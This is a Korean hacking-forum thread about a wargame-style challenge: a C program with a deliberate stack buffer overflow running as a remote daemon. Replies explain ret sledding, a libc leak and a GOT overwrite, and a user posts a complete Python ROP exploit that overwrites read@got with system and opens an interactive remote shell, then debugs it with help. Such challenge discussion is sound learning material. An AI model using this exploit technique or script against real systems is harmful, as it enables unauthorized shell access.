시스템 해킹

 1576, 1/79 회원가입  로그인  
   vngkv123
   문제 방향성...

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1847 [복사]


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


void err(const char *message)
{
    puts(message);
    exit(-1);
}


void vuln(size_t size)
{
    char buf[size];

    read(0, buf, 0x400);
}


int main(int argc, char *argv[])
{
    int fd;
    int seed;
    size_t size;

    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    fd = open("/dev/urandom", 0);
    if (fd < 0) err("/dev/urandom");
    read(fd, &seed, 4);
    close(fd);

    srand(seed);

    size = (rand() % (0x3a0 - 0x100)) + 0x100;
    size &= 0xFFFFFFFC;

    puts("Executing vuln(). good luck :)");
    vuln(size);

    return 0;
}

약간 BugBug문제를 모티브로 만든 느낌이 있긴한데..
원격서버에서 데몬으로 돌아가고 NX는 걸린상태고 ASLR은 아직 잘 모르겠네용.
이건 저 랜드값을 Leak해서 하는걸까요 아니면 rand값으로 나온 사이즈 상관없이 ret sled를 타서 하는걸까요...

  Hit : 3438     Date : 2017/04/04 06:04



    
해쿨러 ret sledding하라는 문제 맞습니다
버퍼가 0x100~0x3a0중에 사이즈가 정해져서 할당되는데
항상 0x400바이트만큼 read하니까
최소 0x60, 96바이트만큼부터는 무조건 ret을 타게 돼있으니
RET Sledding 으로 실행흐름을 변조하면 되는건 맞는데
ASLR은 아직 모르겠다고 하셨는데 ASLR 걸려있을거구요
ROP해서 libc leak한번 하고 got overwrite해서 쉘 따실 수 있구요
플래그 파일만 읽으면 되면 그냥 원샷에도 가능합니다
2017/04/05  
pwnnnt 갓.. 2017/04/05  
vngkv123 ret을 처음부터 타는거 맞죠? 왜 주소가 릭이 안되는걸까용 ㅠ_ㅠ 훔 2017/04/05  
vngkv123 ret을 충분히주고 puts@plt + dummy + read나 puts의 got로 우선 릭할려고 했는데 잘못된걸까요? 2017/04/05  
해쿨러 그렇게하면 되는거 맞습니다
ret은 버퍼의 크기마다 타기 시작하는 시점이 달라지죠
ret은 최대 버퍼크기인 0x3a0을 기준으로 했을 때
좀 안정적으로 하려면 0x3c0/4 개만큼 넣으신다음에 ROP 페1이로드를 쓰시면 됩니다
2017/04/05  
vngkv123 got주소가 음수로 나오면 뭔가 잘못된거겠죠 ... 2017/04/05  
vngkv123 import socket
import time
import struct

p = lambda x : struct.pack("<L",x)
up = lambda x : struct.unpack("<L",x)

read_plt = 0x8048420
read_got = 0x804a00c
puts_plt = 0x8048430
ret = 0x8048623
dynamic_section = 0x8049f14
pppr = 0x8048749
system_offset = 0x3ada0
read_offset = 0xd5980

payload = ''
payload += p(ret)*240 + p(read_plt) + p(pppr)
payload += p(0) + p(dynamic_section) + p(len("/bin/sh")+1) #/bin/sh
payload += p(puts_plt) + p(0x8048766) + p(read_got) #get read addr
payload += p(read_plt) + p(pppr)
payload += p(0) + p(read_got) + p(4) #overwrite read@got
payload += p(read_plt) + "AAAA" + p(dynamic_section)


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('xxx.xxx.xxx.xxx',31007))
time.sleep(0.5)
print"[+] Sending payload ......"
s.send(payload + '\n')
time.sleep(0.5)
s.recv(1024)
s.send("/bin/sh" + "\n")
time.sleep(0.5)
resp = up(s.recv(4))
libc_addr = resp - read_offset
print"[+] libc_addr = %s"%(hex(libc_addr))
system_addr = libc_addr + system_offset
print"[+] system_addr = %s"%(hex(system_addr))
time.sleep(0.5)
s.send(p(system_addr) + '\n')
time.sleep(0.5)
print'[+] Get shell complete.......'
while True:
cmd = raw_input("$ ")
s.send(cmd + '\n')
time.sleep(0.5)
print(s.recv(1024))
s.close()

주소는 가린거구용 위 코드상으론 맞게 짜여진지 모르겠네요.... 자꾸 up(s.recv)부분에서 삑이나서 고민중인데 ㅠ
2017/04/06  
해쿨러 struct.unpack은 배열을 리턴합니다
up = lambda x : struct.unpack("<L",x)
->
up = lambda x : struct.unpack("<L",x)[0]
2017/04/06  
vngkv123 shell이 따졋다고 생각되는 상황에서 raw_input 지점부터 strace를 붙여서 봣는데

read(0, 함수로 시작되고 있는거면 got overwrite가 잘못된건가요?
2017/04/06  
해쿨러 거기부터 붙이지마시고 connect직후에 붙이셔요 2017/04/06  
vngkv123 뭐가 문젠지 고민계속 햇는데 offset이 잘못되었었네요 ㅜㅜ ㅋㅋㅋㅋ 감사합니다~~ 2017/04/06